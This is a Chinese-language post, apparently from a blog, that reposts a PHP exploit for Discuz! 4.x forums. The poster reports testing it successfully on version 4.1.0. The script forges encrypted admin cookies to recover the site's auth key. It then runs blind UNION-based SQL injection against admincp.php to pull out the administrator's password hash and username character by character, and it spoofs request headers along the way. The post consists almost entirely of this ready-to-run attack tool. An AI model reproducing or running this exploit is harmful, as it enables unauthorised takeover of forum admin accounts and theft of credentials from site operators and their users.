Discuz! 4.x SQL injection / admin credentials disclosure exp

前段时间发过Discuz! 5.0.0 GBK版本的EXP 今天在CN.Tink那里看到的4.x的,我去原站转了过来,然后找了个Discuz! 4.1.0测试了一下,成功,看下面截图,Discuz! 5.0.0 GBK版本的那个EXP又许多朋友不知道怎么用,当时我说了下,还是有朋友不明白,这次我截了图上来,不知道怎么用的朋友看下应该明白的。 图:

代码如下:<?php print_r(‘ ————————————————————————— Discuz! 4.x SQL injection / admin credentials disclosure exploit by rgod rgod@autistici.org site: http://retrogod.altervista.org dork: "powered by discuz! ————————————————————————— ‘); if ($argc<3) { print_r(‘ ————————————————————————— Usage: php ‘.$argv[0].’ host path OPTIONS host: target server (ip/hostname) path: path to discuz Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy Example: php ‘.$argv[0].’ localhost /discuz/ -P1.1.1.1:80 php ‘.$argv[0].’ localhost /discuz/ -p81 ————————————————————————— ‘); die; } error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result=”;$exa=”;$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";} } return $exa."rn".$result; } $proxy_regex = ‘(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)’; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy==”) { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo ‘No response from ‘.$host.’:’.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo ‘Not a valid proxy…’;die; } $parts=explode(‘:’,$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy…rn"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo ‘No response from proxy…’;die; } } fputs($ock,$packet); if ($proxy==”) { $html=”; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=”; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } $host=$argv[1]; $path=$argv[2]; $port=80; $proxy=""; for ($i=3; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } if (($path[0]<>’/’) or ($path[strlen($path)-1]<>’/’)) {echo ‘Error… check the path!’; die;} if ($proxy==”) {$p=$path;} else {$p=’http://’.$host.’:’.$port.$path;} echo "please wait…n"; //from global.func.php function authcode($string, $operation, $key = ”) { $key = $key ? $key : $GLOBALS[’discuz_auth_key’]; $coded = ”; $keylength = 32; $string = $operation == ‘DECODE’ ? base64_decode($string) : $string; for($i = 0; $i < strlen($string); $i += 32) { $coded .= substr($string, $i, 32) ^ $key; } $coded = $operation == ‘ENCODE’ ? str_replace(‘=’, ”, base64_encode($coded)) : $coded; return $coded; } //stolen from install.php function random($length) { $hash = ”; $chars = ‘ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz’; $max = strlen($chars) – 1; mt_srand((double)microtime() * 1000000); for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; } return $hash; } $agent="Googlebot/2.1"; //see sql errors… you need auth key, //it’s a value mixed up with the random string in cache_settigns.php and your user-agent, so let’s ask 😉 $tt="";for ($i=0; $i<=255; $i++){$tt.=chr($i);} while (1) { $discuz_auth_key=random(32); $packet ="GET ".$p."admincp.php?action=recyclebin HTTP/1.0rn"; $packet.="CLIENT-IP: 999.999.999.999rn";//spoof $packet.="User-Agent: $agentrn"; $packet.="Host: ".$host."rn"; $packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzutsuntzut".$tt,"ENCODE").";rn"; $packet.="Accept: text/plainrn"; $packet.="Connection: Closernrn"; $packet.=$data; sendpacketii($packet); $html=html_entity_decode($html); $html=str_replace("<br />","",$html); $t=explode("AND m.password=’",$html); $t2=explode("’ ",$t[1]); $pwd_f=$t2[0]; $t=explode("AND m.secques=’",$html); $t2=explode("’n",$t[1]); $secques_f=$t2[0]; $t=explode("AND m.uid=’",$html); $t2=explode("’x0d",$t[1]); $uid_f=$t2[0]; $my_string=$pwd_f."t".$secques_f."t".$uid_f; if ((strlen($my_string)==270) and (!eregi("=",$my_string))){ break; } } $temp = authcode("suntzutsuntzut".$tt,"ENCODE"); //calculating key… $key=""; for ($j=0; $j<32; $j++){ for ($i=0; $i<255; $i++){ $aa=""; if ($j<>0){ for ($k=1; $k<=$j; $k++){ $aa.="a"; } } $GLOBALS[’discuz_auth_key’]=$aa.chr($i); $t = authcode($temp,"DECODE"); if ($t[$j]==$my_string[$j]){ $key.=chr($i); } } } //echo "AUTH KEY ->".$key."rn"; $GLOBALS[’discuz_auth_key’]=$key; echo "pwd hash (md5) -> "; $chars[0]=0;//null $chars=array_merge($chars,range(48,57)); //numbers $chars=array_merge($chars,range(97,102));//a-f letters $j=1;$password=""; while (!strstr($password,chr(0))) { for ($i=0; $i<=255; $i++) { if (in_array($i,$chars)) { //you can use every char because of base64_decode()…so this bypass magic quotes… //and some help by extract() to overwrite vars $sql="999999’/**/UNION/**/SELECT/**/1,1,1,1,1,1,1,1,1,1,1,1,(IF((ASCII(SUBSTRING(m.password,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/WHERE/**/adminid=1/**/LIMIT/**/1/*"; $packet ="GET ".$p."admincp.php?action=recyclebin& HTTP/1.0rn"; $packet.="User-Agent: $agentrn"; $packet.="CLIENT-IP: 1.2.3.4rn"; $packet.="Host: ".$host."rn"; $packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzutsuntzut".$sql,"ENCODE").";rn"; $packet.="Accept: text/plainrn"; $packet.="Connection: Closernrn"; $packet.=$data; sendpacketii($packet); if (eregi("action=groupexpiry",$html)){ $password.=chr($i);echo chr($i);sleep(1);break; } } if ($i==255) { die("nExploit failed…"); } } $j++; } echo "nadmin user -> "; $j=1;$admin=""; while (!strstr($admin,chr(0))) { for ($i=0; $i<=255; $i++) { $sql="999999’/**/UNION/**/SELECT/**/1,1,1,1,1,1,1,1,1,1,1,1,(IF((ASCII(SUBSTRING(m.username,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/WHERE/**/adminid=1/**/LIMIT/**/1/*"; $packet ="GET ".$p."admincp.php?action=recyclebin& HTTP/1.0rn"; $packet.="User-Agent: $agentrn"; $packet.="CLIENT-IP: 1.2.3.4rn"; $packet.="Host: ".$host."rn"; $packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzutsuntzut".$sql,"ENCODE").";rn"; $packet.="Accept: text/plainrn"; $packet.="Connection: Closernrn"; $packet.=$data; sendpacketii($packet); if (eregi("action=groupexpiry",$html)){ $admin.=chr($i);echo chr($i);sleep(1);break; } if ($i==255) {die("nExploit failed…");} } $j++; } function is_hash($hash) { if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;} else {return false;} } if (is_hash($password)) { echo "exploit succeeded…"; } else { echo "exploit failed…"; } ?>

其实每一朵花,都有它自己的生命,

Discuz! 4.x SQL injection / admin credentials disclosure exp

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